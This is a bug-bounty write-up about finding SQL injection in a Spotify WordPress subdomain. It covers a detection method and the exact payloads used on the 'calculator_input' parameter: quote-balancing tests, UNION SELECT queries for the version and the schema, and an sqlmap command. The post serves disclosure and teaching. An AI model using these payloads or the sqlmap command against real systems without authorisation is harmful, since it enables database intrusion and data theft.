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Hey Folks, today I will talk about one of my findings at Spotify. In this blog post, we will talk about SQL Injection. I

discovered it on 9th May 2021.

First, I advise anyone who wants to know first about SQL Injection and how to detect and exploit it in more detail to

check this resource

Let’s get started…

https://portswigger.net/web-security/sql-injection


Let me declare the methodology which we will use to detect and exploit the bug.

1. Try to inject some malicious characters like ' \ /  to check if the response changed, or you gained a SQL

error.


At the backend, if you inject '  after the entered number. Select random_data From random_table where 

user_input='122'' and aykalam='1';  So it will generate an error or the response will be different. And if you

managed to detect an error, try to balance the query by using the balancing characters like ' ') " ") ')) 

"))

2. Try to use order by  and union queries if you didn’t gain error or change in the response.

3. Try to use blind commands like sleep command and check the response time and response behavior

The vulnerable subdomain is one of subdomains which listed on the program policy page. It’s based on WordPress.

After navigating and testing every function, I found this one, which asks the user to enter a random number larger

than 100.

Simple Methodology

The vulnerability details



I’ve entered 122 and checked the request in the proxy to found this response.



At the first glance, I didn’t know what that mean and what the returned response used for. But I’m sure that the user

input deals with the database.

The request sent with the number 122 and asks the database to return values depending on this number.

By trying to use bad characters like \  after the number, the response changed.



Well, let’s try to balance the query. I’ve tried multiple characters. The right balance will dump all the database.

calculator_input=122' and 100=100-- - "Failed"

calculator_input=122" and 100=100-- - "Failed"

calculator_input=122') and 100=100-- - "Failed"

calculator_input=122") and 100=100-- - "Failed"

calculator_input=122 and 100=100-- - "Successed"



After that, I tried to get the database name and its version. So, I used union  queries to get them.

calculator_input=122 UNION ALL SELECT NULL,version()-- -



Also, to dump the schema, I’ve used the following payload

calculator_input=122 UNION ALL SELECT NULL,CONCAT(schema_name) from information_schema.schemata-- -



Enough working manually and let’s use SQLmap

sqlmap -r request.txt --level 3 --risk 1 --batch --dbms="MySql"



Every thing works fine :)

Finally!! Spotify Injected Successfully ❤




